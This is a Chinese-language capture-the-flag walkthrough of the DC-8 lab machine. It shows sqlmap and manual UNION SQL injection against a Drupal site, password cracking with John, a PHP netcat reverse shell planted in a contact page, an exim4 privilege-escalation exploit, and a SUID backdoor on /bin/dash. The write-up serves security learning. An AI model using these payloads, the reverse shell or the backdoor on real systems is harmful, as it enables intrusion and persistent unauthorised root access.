DC-8

    技术2022-07-12  87

    靶机:192.168.56.108

    攻击机:192.168.56.1

    关键字:SQL注入漏洞,John工具,eixm,SUID后门

    探索靶机

    DC-8 web主页

    网页sql注入漏洞

    浏览下网页,关注可能出现漏洞的地方

    像这种?nid=1的地方很容易出现sql注入漏洞,一般就是注入引号测试。这里回显报错,那估计可以注入了。

    狠一点就直接拿去sqlmap处理

    查看所有数据库

    sqlmap -u "192.168.56.108/?nid=1" --dbs

    这里加一个current-db更好,可以查看当前数据库,好做下一步数据爆破。但这里就两个数据库,肯定是d7db了,直接用就是。

    sqlmap -u "192.168.56.108/?nid=1" -D d7db --tables

    重点关注users表

    sqlmap -u "192.168.56.108/?nid=1" -D d7db -T usrs --columns

    这里竟然要用字典爆破方式来搜索表,又耗时又不准确。其实这里并没有什么过滤,我们可以使用union注入来获取数据。

    手工注入如下:

    我这里已经测试过注入数据类型为数字型

    爆出users中所有列名

    http://192.168.220.156/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'  --+

     

    这里手工注入又快又稳,所以工具有的时候并不是那么好用。(也有可能我没用来)

    反正我的经验就是在大多数可以union注入上sqlmap表现并不好。

    爆出数据

    http://192.168.220.156/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'  --+

    使用John破解密码

    这里获取了两个用户密码,开头是$S$这种一般是hash加密。

    类似常见的加密方式:其中{加密口令}的格式为 $id$salt$encrypted id为1时,采用md5算法加密 id为5时,采用SHA256算法加密 id为6时,采用SHA512算法加密 salt为盐值,是对密码进行hash的一个干扰值 encrypted为散列值

    如存在/etc/shadow中的密码

    对于这类密码,可以使用john工具破解,这个工具的大概原理就是先判断加密方式,然后使用字典通过相同的加密方式后与要破解的字符串对比,比对成功则获取到正确密码。这个方式很考验字典的效率。对于弱密码这种方式的破解效率还是很高的。我就把自己的root密码给破解出来了。

    使用默认字典爆破

    查看结果

    这里只破解出来一个用户,john:turtle

    登录网站后台

    获取到用户密码了向试试ssh能不能连接上

    似乎并不允许,那我们只有用这个帐号登录后台页面试试

    向爆破下后台页面,我的dirb这次没有连接错误了,但是变得和dirbbuster一样慢了。

    打开admin页面没有权限

    打开user页面,这里可以登录帐号。网上看到大佬说drupal的默认后台页面就是user,我们不知道的就只有爆破出来了。

    成功登录

    获取shell

    后台页面有个修改页面的功能,我们然靶机反弹一个shell出来

    <?php system(' nc 192.168.56.1 9999 -e /bin/bash ');?>

    这个页面对应网站的功能应该为contack us,我们只需要启动这个功能应该就能激活我们的php脚本。在网站的contack us模块下我们简单提交一下

    在kali上接收这个shell,顺便就把shell外壳换了

    提权

    以下都是老规矩了

    sudo失败后,我们关注以下其它命令。

    发现exim4命令,exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限。 查看exim版本,命令:/usr/sbin/exim4 --version

    这种命令或者说是程序容易出现提权漏洞,我们搜索下漏洞库。

    可能有点严格,我们把4去掉

    突然多一大堆,这里找到最合适的

    把漏洞拷贝下来,这里有个很好用的参数-m,可以把漏洞直接copy到当前目录

    这个文件有两种利用方式,但是我们要先上传到目标服务器上

    为了上传文件,先搭建一个临时服务器,使用python可以快速完成这项工作

    python -m http.server 8000

    在浏览器上打开验证一波

    使用wget命令就可以把文件从kali上下载到靶机上了,按照提权脚本要求我这里是切换到tmp目录下操作的

    接下来按照提示输入明命就可以了。

    执行脚本时显示权限不够

    加权限

    再次执行还是报错

    主要原因是test.sh是在windows下编辑然后上传到linux系统里执行的。.sh文件的格式为dos格式。而linux只能执行格式为unix格式的脚本。

    在vim中修改即可

    更多关于这方面的问题可以参考大佬的博客

    shell脚本报错:-bash: xxx: /bin/bash^M: bad interpreter: No such file or directory

    使用setuid方法获取到一个shell,但并不是root权限

    试一下方法2,可以提升到root权限,但不太稳定,看到有个解决方案是在root权限时再反弹一个shell,似乎也没有用

    获取flag

    虽然权限不稳定,但还是可以获取到flag的

    利用SUID后门获取稳定权限

    前面虽然获取了ROOT权限,拿到flag,但是并不稳定。

    我尝试了在使用不稳定的root权限时创建一个root用户,但是最后发现没法切换到新建的用户上。

    这里采用SUID后门可以获取一个稳定的root权限,操作如下:chmod 4755 /bin/dash,给dash设置suid位,然后普通用户就可以使用root权限来执行/bin/dash了

    /bin/dash,这里相当于使用这个shell程序

    可以看到我们的euid就是有效用户id变成了root用户

    这里的shell是不能通过nc反弹出去的

    总结:黑客通过网站的sql注入漏洞,成功爆出网站关键用户的数据,虽然网站对用户的密码做了hash加密,但是仍然可以通过john工具破解一些弱口令密码。然后通过破解出来的用户登录到了网站后台。使用该用户可以编辑网站的功能,在网站的关键页面添加了木马脚本,然后成功连接。因为服务器存在eixm的漏洞,被黑客成功提升到root权限,最后通过suid后门稳定了root权限。

     

     

    Processed: 0.010, SQL: 9